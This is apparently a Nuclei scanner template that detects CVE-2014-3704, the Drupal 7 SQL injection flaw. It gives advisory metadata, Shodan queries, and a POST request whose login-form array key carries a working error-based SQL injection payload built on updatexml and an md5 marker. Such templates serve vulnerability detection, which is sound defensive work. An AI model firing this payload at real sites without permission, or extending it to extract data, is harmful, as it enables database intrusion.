Drupal SQL Injection

id: CVE-2014-3704

info:
  name: Drupal SQL Injection
  author: princechaddha
  severity: high
  description: The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing specially crafted keys.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the Drupal application and its underlying database.
  remediation: Upgrade to Drupal core 7.32 or later.
  reference:
    - https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2014-10-15/sa-core-2014-005-drupal-core-sql
    - https://nvd.nist.gov/vuln/detail/CVE-2014-3704
    - https://www.drupal.org/SA-CORE-2014-005
    - https://www.exploit-db.com/exploits/34984
    - https://www.exploit-db.com/exploits/34992
    - https://www.exploit-db.com/exploits/34993
    - https://www.exploit-db.com/exploits/35150
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2014-3704
    cwe-id: CWE-89
    epss-score: 0.99974
    epss-percentile: 0.99978
    cpe: cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: drupal
    product: drupal
    shodan-query:
      - http.component:"drupal"
      - cpe:"cpe:2.3:a:drupal:drupal"
  tags: cve2014,cve,edb,drupal,sqli,vkev,vuln
variables:
  num: "999999999"

http:
  - method: POST
    path:
      - "{{BaseURL}}/?q=node&destination=node"

    body: 'pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0x23,concat(1,md5({{num}})),1)%23]=bob&name[0]=a'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PDOException"
          - '{{md5({{num}})}}'
        condition: and

      - type: status
        status:
          - 500
# digest: 4b0a004830460221009d6fb749db7f97e13ae2690f3f315f6ede318affce0da71349f8d02f9686e27b022100d764e8e9a30933d7cf890de9c9fbed1e4bfc91b02b46ae969b39a1ab99954587:922c64590222798bb761d5b6d8e72950